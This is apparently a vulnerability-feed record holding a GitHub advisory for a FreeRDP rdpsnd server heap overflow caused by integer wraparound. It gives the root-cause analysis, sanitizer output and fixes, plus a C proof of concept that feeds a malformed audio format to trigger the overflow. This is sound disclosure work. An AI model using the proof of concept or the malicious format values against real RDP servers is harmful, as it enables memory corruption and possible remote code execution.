{"schema":"threatline.record/2","record":{"id":"GHSA-3m9q-g533-rqjq","aliases":["GHSA-3m9q-g533-rqjq"],"summary":"FreeRDP rdpsnd server — heap buffer overflow via integer wraparound in `rdpsnd_server_select_format()` (bypass of CVE-2026-63117 fix)","details":"## Summary\r\n \r\nA heap buffer overflow (CWE-122 via CWE-190) exists in the rdpsnd server channel\r\n(`channels/rdpsnd/server/rdpsnd_main.c`) of all FreeRDP-based RDP servers that\r\nredirect audio to clients. A malicious or compromised RDP client can trigger the\r\nbug with two ordinary `SNDC_FORMATS` PDUs followed by any server audio playback\r\nevent, yielding an unbounded, sequential heap write — a remote-code-execution\r\nclass primitive.\r\n \r\nThe root cause is an integer wraparound in `rdpsnd_server_select_format()` that\r\n**bypasses every validation guard** added by commit `b7ca093` to address\r\n**CVE-2026-63117**, and escalates that issue's DoS impact to heap corruption.\r\n \r\n\r\n \r\n---\r\n \r\n## Affected Versions\r\n \r\n| Component | Affected |\r\n|-----------|---------|\r\n| FreeRDP `master` | ≤ `8ec6d3923b8951e11cda8cbd2983494aeb60ce90` (2026-09-23) |\r\n| FreeRDP stable `3.32.0` | ✅ Affected |\r\n| Earlier stable series (3.x) | ✅ Affected (the `nChannels != 0` / `nBlockAlign != 0` guards are absent in ≤ 3.16.0, exposing additional division-by-zero paths) |\r\n \r\n---\r\n \r\n## Severity\r\n \r\n| Attack scenario | CVSS 3.1 vector | Score |\r\n|---|---|---|\r\n| Post-authentication (default) | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | **8.8 High** |\r\n| No-auth deployments | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | **9.8 Critical** |\r\n \r\n**CWE:** CWE-122 (Heap-Based Buffer Overflow) via CWE-190 (Integer Overflow or Wraparound)\r\n \r\n---\r\n \r\n## Runtime Verification (Live Build — 2026-09-24)\r\n \r\nVerified on a **clean local build** of `master @ 8ec6d3923b` with ASan + UBSan\r\n(Ubuntu 24.04.4 LTS, clang-18.1.3, glibc 2.39):\r\n \r\n```\r\ncmake -B build -G Ninja \\\r\n  -DCMAKE_C_COMPILER=clang-18 \\\r\n  -DCMAKE_C_FLAGS=\"-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\r\n  -DCMAKE_SHARED_LINKER_FLAGS=\"-fsanitize=address,undefined\" \\\r\n  -DWITH_SERVER=ON -DWITH_CHANNELS=ON -DBUILD_TESTING=OFF -DWITH_CLIENT=OFF\r\n```\r\n \r\n```\r\nASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1 \\\r\nASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-18 \\\r\n./PocRdpsndOverflow\r\n```\r\n \r\n**Sanitizer output (deterministic, reproduced twice):**\r\n \r\n```\r\n==5648==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffc0 bytes\r\n[ERROR][com.freerdp.channels.rdpsnd.server] - [rdpsnd_server_select_format]: realloc failed!\r\n==5648==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000002374\r\nWRITE of size 16384 at 0x525000002374 thread T0\r\n    #0 __asan_memcpy\r\n    #1 rdpsnd_server_send_samples  rdpsnd_main.c:770:3\r\n    #2 main                        PocRdpsndOverflow.c:175:5\r\n \r\n0x525000002374 is located 0 bytes after 8820-byte region [0x525000000100,0x525000002374)\r\nallocated by thread T0 here:\r\n    #0 realloc\r\n    #1 rdpsnd_server_select_format rdpsnd_main.c:444:28\r\n    #2 main                        PocRdpsndOverflow.c:108:15\r\n \r\nSUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy\r\n```\r\n \r\nShadow map at the fault address (`[04]fa`) confirms the allocation ends at\r\na 4-byte partial granule immediately before poisoned heap redzone (`fa fa ...`),\r\nconsistent with the 8820-byte `out_buffer` allocation.\r\n \r\n---\r\n \r\n## Vulnerable Code\r\n \r\n### `channels/rdpsnd/server/rdpsnd_main.c`\r\n \r\n#### Parse-time validation gap (~line 258–265)\r\n \r\n```c\r\ncase WAVE_FORMAT_DVI_ADPCM:\r\n    if (format->nBlockAlign < 4)           /* ← only scalar floor; no channel check */\r\n    {\r\n        WLog_ERR(TAG, \"invalid client audio format ...\");\r\n        goto out_free;\r\n    }\r\n    break;\r\n```\r\n \r\n**Missing:** `format->nBlockAlign < 4ULL * format->nChannels`\r\n \r\nWith `nBlockAlign=4, nChannels=2` the client advertises a format where one\r\ndecoded frame would require 8 bytes of alignment but only 4 are supplied —\r\na valid-looking PDU that passes every existing guard.\r\n \r\n#### Integer wraparound in `rdpsnd_server_select_format` (~line 407–417)\r\n \r\n```c\r\ncase WAVE_FORMAT_DVI_ADPCM:\r\n{\r\n    WINPR_ASSERT(format->nBlockAlign >= 4);  /* ✓ passes: 4 >= 4     */\r\n    WINPR_ASSERT(format->nChannels > 0);     /* ✓ passes: 2 > 0      */\r\n    const UINT64 bs = 4ULL * (format->nBlockAlign - 4ULL * format->nChannels);\r\n    //                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n    // nBlockAlign=4, nChannels=2:\r\n    //   4ULL * 2 = 8\r\n    //   4 - 8    = 0xFFFFFFFFFFFFFFFC  (unsigned wraparound)\r\n    //   4ULL * 0xFFFFFFFFFFFFFFFC = 0xFFFFFFFFFFFFFFF0\r\n    WINPR_ASSERT(bs > 0);                    /* ✓ passes: 0xFFF...F0 > 0 */\r\n \r\n    context->priv->out_frames -= context->priv->out_frames % bs;\r\n    if (context->priv->out_frames < bs)\r\n        context->priv->out_frames = bs;      /* out_frames = 0xFFFFFFFFFFFFFFF0 */\r\n}\r\n```\r\n \r\n#### State committed before allocation succeeds (~line 438–454)\r\n \r\n```c\r\ncontext->priv->out_pending_frames = 0;       /* ← state already mutated */\r\nconst size_t out_buffer_size =\r\n    context->priv->out_frames * context->priv->src_bytes_per_frame;  /* also wraps */\r\n \r\nif (context->priv->out_buffer_size < out_buffer_size)\r\n{\r\n    BYTE* newBuffer = realloc(context->priv->out_buffer, out_buffer_size);\r\n    if (!newBuffer)\r\n    {\r\n        WLog_ERR(TAG, \"realloc failed!\");\r\n        error = CHANNEL_RC_NO_MEMORY;\r\n        goto out;   /* ← returns error, but out_frames is NOT rolled back */\r\n    }\r\n}\r\n```\r\n \r\n#### Unchecked `CopyMemory` sink in `rdpsnd_server_send_samples` (line 770)\r\n \r\n```c\r\nwhile (nframes > 0)\r\n{\r\n    const size_t cframes =\r\n        MIN(nframes, context->priv->out_frames - context->priv->out_pending_frames);\r\n    // MIN(4096, 0xFFFFFFFFFFFFFFF0 - 0) = 4096\r\n    size_t cframesize = cframes * context->priv->src_bytes_per_frame;\r\n    CopyMemory(context->priv->out_buffer + ..., buf, cframesize);\r\n    // 4096 * 4 = 16384 bytes written into the 8820-byte Stage-1 allocation\r\n    // → 7564 bytes past end of chunk                           ← OVERFLOW\r\n}\r\n```\r\n \r\n#### Integrators continue after the error (`server/shadow/shadow_rdpsnd.c:46`)\r\n \r\n```c\r\nconst UINT rc = context->SelectFormat(context, i);\r\nif (rc != CHANNEL_RC_OK)\r\n    WLog_WARN(TAG, \"SelectFormat failed with %\" PRIu32, rc);\r\nreturn;  /* continues operating with corrupted out_frames */\r\n```\r\n \r\n---\r\n \r\n## Root Cause Chain\r\n \r\n1. `rdpsnd_server_recv_formats()` does not verify\r\n   `nBlockAlign >= 4 * nChannels` for `WAVE_FORMAT_DVI_ADPCM`\r\n   (or `nBlockAlign >= 7 * nChannels` for `WAVE_FORMAT_ADPCM`).\r\n2. `rdpsnd_server_select_format()` computes `bs` as a `UINT64` using the\r\n   sub-expression `(nBlockAlign - 4ULL * nChannels)`. When\r\n   `nBlockAlign < 4 * nChannels` this wraps to ≈ `UINT64_MAX`, bypassing\r\n   `WINPR_ASSERT(bs > 0)` (the guard added for CVE-2026-63117).\r\n3. `out_frames` is set to the huge wrapped value **before** the allocation\r\n   attempt. The `realloc` fails and the function returns\r\n   `CHANNEL_RC_NO_MEMORY`, but `out_frames` is not rolled back.\r\n4. All integrator call sites (`shadow_rdpsnd.c`, `mf_rdpsnd.c`,\r\n   `wf_rdpsnd.c`) log a warning and continue, leaving the channel in\r\n   a corrupted state.\r\n5. The next `SendSamples` call overflows the still-small `out_buffer` by\r\n   up to `(4096 × src_bytes_per_frame) − original_buffer_size` bytes per\r\n   call; repeated calls advance the write offset monotonically →\r\n   **unbounded heap corruption**.\r\n---\r\n \r\n## Relationship to CVE-2026-63117\r\n \r\nCVE-2026-63117 (commit `b7ca093`, 2026-07-16) covered the exact-zero case:\r\n`nBlockAlign=8, nChannels=2` → `bs = 4*(8−8) = 0` → division-by-zero (DoS).\r\n \r\nThe fix added `nBlockAlign ≥ 4` (DVI) and `nBlockAlign ≥ 8` (ADPCM) floor\r\nchecks plus `WINPR_ASSERT(bs > 0)`, but **did not** add the codec-consistency\r\nconstraint `nBlockAlign ≥ 4 × nChannels`.\r\n \r\nWith `nBlockAlign=4, nChannels=2` (one unit below the consistency threshold):\r\n- Every new guard passes.\r\n- `bs` wraps to `0xFFFFFFFFFFFFFFF0` instead of zero.\r\n- `ASSERT(bs > 0)` passes for the same reason the earlier zero-check was\r\n  intended to catch.\r\nThis is a **distinct variant** that bypasses the fix and escalates the DoS to\r\na heap buffer overflow / RCE primitive.\r\n \r\n---\r\n \r\n## Proof of Concept\r\n \r\n\r\n```c\r\n/*\r\n * PocRdpsndOverflow.c — Runtime verification PoC\r\n * FreeRDP rdpsnd server: heap buffer overflow via integer wraparound\r\n * in rdpsnd_server_select_format() (CWE-122 via CWE-190)\r\n *\r\n * Tested : master 8ec6d3923b8951e11cda8cbd2983494aeb60ce90 (2026-09-23)\r\n *\r\n * Reporter: HEXERLAB / Kanishka De Silva\r\n *\r\n * Build:\r\n *   clang-18 -g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined \\\r\n *     -I<freerdp>/include -I<freerdp>/winpr/include \\\r\n *     -I<freerdp>/channels/rdpsnd/server -I<build>/include -I<build>/winpr/include \\\r\n *     -L<build>/libfreerdp -L<build>/winpr/libwinpr -L<build>/server/common \\\r\n *     -lfreerdp3 -lwinpr3 -lfreerdp-server3 -lpthread -lm -ldl\r\n *\r\n * Run:\r\n *   ASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1 ./PocRdpsndOverflow\r\n */\r\n#include \"rdpsnd_main.h\"\r\n#include <freerdp/codec/audio.h>\r\n#include <winpr/synch.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n \r\n/* Stage 1 — benign PCM: allocates 8820-byte out_buffer */\r\nstatic AUDIO_FORMAT fmt_pcm = { WAVE_FORMAT_PCM, 2, 44100, 176400, 4, 16, 0, NULL };\r\n \r\n/* Stage 2 — malicious DVI_ADPCM: nBlockAlign=4, nChannels=2\r\n *   bs = 4*(4 − 4*2) = 4*(4−8) wraps to 0xFFFFFFFFFFFFFFF0\r\n *   All post-fix ASSERTs pass; out_frames set to wrapped value */\r\nstatic BYTE dvi_ext[2] = { 0xf9, 0x07 };\r\nstatic AUDIO_FORMAT fmt_dvi = { WAVE_FORMAT_DVI_ADPCM, 2, 44100, 44251, 4, 4, 2, dvi_ext };\r\n \r\nstatic void inject(RdpsndServerContext* ctx, const AUDIO_FORMAT* fmt) {\r\n    AUDIO_FORMAT* a = calloc(1, sizeof *a); *a = *fmt;\r\n    if (fmt->cbSize) { a->data = malloc(fmt->cbSize); memcpy(a->data, fmt->data, fmt->cbSize); }\r\n    if (ctx->client_formats) { free(ctx->client_formats[0].data); free(ctx->client_formats); }\r\n    ctx->client_formats = a; ctx->num_client_formats = 1;\r\n}\r\n \r\nint main(void) {\r\n    RdpsndServerContext* ctx = rdpsnd_server_context_new(NULL);\r\n    ctx->src_format = &fmt_pcm; ctx->latency = 50;\r\n    InitializeCriticalSectionAndSpinCount(&ctx->priv->lock, 4000);\r\n \r\n    /* Stage 1: benign PCM — allocates 8820-byte out_buffer */\r\n    inject(ctx, &fmt_pcm);\r\n    ctx->SelectFormat(ctx, 0);\r\n \r\n    /* Stage 2: malicious format — corrupts out_frames to 0xFFFFFFFFFFFFFFF0 */\r\n    inject(ctx, &fmt_dvi);\r\n    UINT rc = ctx->SelectFormat(ctx, 0);  /* returns CHANNEL_RC_NO_MEMORY */\r\n    printf(\"SelectFormat rc=%u  out_frames=0x%016zx\\n\", rc, ctx->priv->out_frames);\r\n \r\n    /* Stage 3: write 16384 bytes into 8820-byte buffer → ASan fires */\r\n    BYTE buf[16384]; memset(buf, 0x41, sizeof buf);\r\n    ctx->SendSamples(ctx, buf, 4096, 0);  /* rdpsnd_main.c:770 */\r\n    return 0;\r\n}\r\n```\r\n</details>\r\n---\r\n \r\n## Suggested Fix\r\n \r\nThree complementary layers (defence in depth):\r\n \r\n### Layer 1 — Input validation at parse time (`rdpsnd_server_recv_formats`)\r\n \r\n```c\r\ncase WAVE_FORMAT_DVI_ADPCM:\r\n    if (format->nBlockAlign < 4 ||\r\n        format->nBlockAlign < 4ULL * format->nChannels)   /* ← ADD */\r\n    {\r\n        WLog_ERR(TAG, \"invalid client audio format: nBlockAlign too small for nChannels\");\r\n        goto out_free;\r\n    }\r\n    break;\r\n \r\ncase WAVE_FORMAT_ADPCM:\r\n    if (format->nBlockAlign < 8 ||\r\n        format->nBlockAlign < 7ULL * format->nChannels)   /* ← ADD */\r\n    {\r\n        WLog_ERR(TAG, \"invalid client audio format: nBlockAlign too small for nChannels\");\r\n        goto out_free;\r\n    }\r\n    break;\r\n```\r\n \r\n### Layer 2 — Overflow-safe arithmetic in `rdpsnd_server_select_format`\r\n \r\n```c\r\n/* DVI_ADPCM branch */\r\nconst UINT64 nba = format->nBlockAlign;\r\nconst UINT64 nch = format->nChannels;\r\nif (nba < 4ULL * nch) {\r\n    error = ERROR_INVALID_DATA;\r\n    goto out;\r\n}\r\nconst UINT64 bs = 4ULL * (nba - 4ULL * nch);\r\nif (bs == 0) {\r\n    error = ERROR_INVALID_DATA;\r\n    goto out;\r\n}\r\n```\r\n \r\n### Layer 3 — Commit state only after allocation succeeds\r\n \r\n```c\r\n/* Compute in temporaries; commit only on success */\r\nconst size_t new_out_frames   = /* derived from bs */;\r\nconst size_t new_buffer_size  = new_out_frames * src_bytes_per_frame;\r\nBYTE* newBuffer = realloc(ctx->priv->out_buffer, new_buffer_size);\r\nif (!newBuffer) { error = CHANNEL_RC_NO_MEMORY; goto out; /* no state change */ }\r\nctx->priv->out_buffer         = newBuffer;\r\nctx->priv->out_buffer_size    = new_buffer_size;\r\nctx->priv->out_frames         = new_out_frames;    /* commit AFTER success */\r\nctx->priv->out_pending_frames = 0;\r\n```\r\n \r\n### Also recommended\r\n \r\n- Bounds check in `rdpsnd_server_send_samples` before `CopyMemory`:\r\n```c\r\n  if (!ctx->priv->out_buffer ||\r\n      ctx->priv->out_pending_frames + cframes > ctx->priv->out_frames)\r\n  { WLog_ERR(...); error = ERROR_INVALID_DATA; break; }\r\n```\r\n- Backport all three layers to stable-3.0 (the `nChannels/nBlockAlign != 0`\r\n  guards are absent before 3.16.0, exposing additional division-by-zero paths).\r\n---\r\n\r\n## Reporter\r\n \r\n**Kanishka De Silva (HEXER / HEXERLAB)**  \r\n`kpskanna1915@gmail.com`  \r\n[https://hexer.is-a.dev](https://hexer.is-a.dev)  \r\n[https://github.com/hexer365](https://github.com/hexer365)","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3m9q-g533-rqjq","source_modified_at":"2026-10-05T20:32:51Z","fetched_at":"2026-10-24T10:48:42.330819Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":"<= 3.32.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3m9q-g533-rqjq","source_modified_at":"2026-10-05T20:32:51Z","fetched_at":"2026-10-24T10:48:42.330819Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.1"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-05T20:32:51Z","modified_at":"2026-10-05T20:32:51Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3m9q-g533-rqjq","fetched_at":"2026-10-24T10:48:42.330819Z","source_modified_at":"2026-10-05T20:32:51Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-05T20:32:51Z","content_hash":"94637c1e5197b17c7c2ed2aabe154aee49f1c62c35cd246b2712383085a8ab9e"}}
